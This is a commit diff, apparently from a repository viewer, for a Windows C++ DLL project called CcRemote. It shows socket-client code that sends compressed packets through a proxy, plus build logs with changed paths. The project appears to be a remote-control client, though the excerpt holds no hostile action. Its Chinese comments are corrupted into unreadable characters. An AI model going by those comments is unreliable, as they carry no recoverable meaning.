int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
|
||||
int option_name, // option_nameָ<65><D6B8><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
|
||||
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
|
||||
<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65>ṹ<EFBFBD><E1B9B9>
|
||||
struct linger {
|
||||
int l_onoff;
|
||||
int l_linger;
|
||||
};
|
||||
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
|
||||
const void *option_value, //LINGER<45>ṹ
|
||||
size_t ption_len //LINGER<45><52>С
|
||||
);
|
||||
*/
|
||||
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
|
||||
|
||||
CancelIo((HANDLE) m_Socket);
|
||||
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CancelIo((HANDLE)m_Socket);
|
||||
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
|
||||
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
||||
closesocket(m_Socket);
|
||||
|
||||
SetEvent(m_hEvent);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
|
||||
SetEvent(m_hEvent);
|
||||
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_Socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
int CClientSocket::Send( LPBYTE lpData, UINT nSize )
|
||||
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
|
||||
m_WriteBuffer.ClearBuffer();
|
||||
@@ -398,39 +420,39 @@ int CClientSocket::Send( LPBYTE lpData, UINT nSize )
|
||||
if (nSize > 0)
|
||||
{
|
||||
// Compress data
|
||||
unsigned long destLen = (double)nSize * 1.001 + 12;
|
||||
unsigned long destLen = (double)nSize * 1.001 + 12;
|
||||
LPBYTE pDest = new BYTE[destLen];
|
||||
|
||||
if (pDest == NULL)
|
||||
return 0;
|
||||
|
||||
int nRet = compress(pDest, &destLen, lpData, nSize);
|
||||
|
||||
|
||||
if (nRet != Z_OK)
|
||||
{
|
||||
delete [] pDest;
|
||||
delete[] pDest;
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
LONG nBufLen = destLen + HDR_SIZE;
|
||||
// 5 bytes packet flag
|
||||
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
||||
// 4 byte header [Size of Entire Packet]
|
||||
m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
|
||||
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
|
||||
// 4 byte header [Size of UnCompress Entire Packet]
|
||||
m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
|
||||
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
|
||||
// Write Data
|
||||
m_WriteBuffer.Write(pDest, destLen);
|
||||
delete [] pDest;
|
||||
|
||||
delete[] pDest;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
|
||||
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
|
||||
CopyMemory(lpResendWriteBuffer, lpData, nSize);
|
||||
m_ResendWriteBuffer.ClearBuffer();
|
||||
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (lpResendWriteBuffer)
|
||||
delete [] lpResendWriteBuffer;
|
||||
delete[] lpResendWriteBuffer;
|
||||
}
|
||||
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
|
||||
{
|
||||
@@ -463,7 +485,7 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
|
||||
}
|
||||
if (i == nSendRetry)
|
||||
return -1;
|
||||
|
||||
|
||||
nSend += nRet;
|
||||
pbuf += nSplitSize;
|
||||
Sleep(10); // <20><>Ҫ<EFBFBD><D2AA>Sleep,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
|
||||
@@ -487,13 +509,13 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
void CClientSocket::setManagerCallBack( CManager *pManager )
|
||||
void CClientSocket::setManagerCallBack(CManager *pManager)
|
||||
{
|
||||
m_pManager = pManager;
|
||||
}
|
||||
|
||||
void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
|
||||
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/ )
|
||||
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
|
||||
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
|
||||
{
|
||||
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
|
||||
memset(m_strUserName, 0, sizeof(m_strUserName));
|
||||
@@ -509,4 +531,3 @@ void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTS
|
||||
if (m_strPassWord != NULL)
|
||||
lstrcpy(m_strPassWord, lpszPassWord);
|
||||
}
|
||||
|
@@ -1,19 +1,17 @@
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
g:\ccremote\ccremote\ccmaindll\debug\ccmaindll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk
|
||||
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -1,23 +1,22 @@
|
||||
pch.cpp
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
正在生成代码...
|
||||
dllmain.cpp
|
||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\CcMainDll.dll
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
@@ -1,13 +1,18 @@
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -1,27 +1,24 @@
|
||||
pch.cpp
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
dllmain.cpp
|
||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
||||
正在生成代码
|
||||
0 of 6 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
0 functions had inline decision re-evaluated but remain unchanged
|
||||
All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
Reference in New Issue
Block a user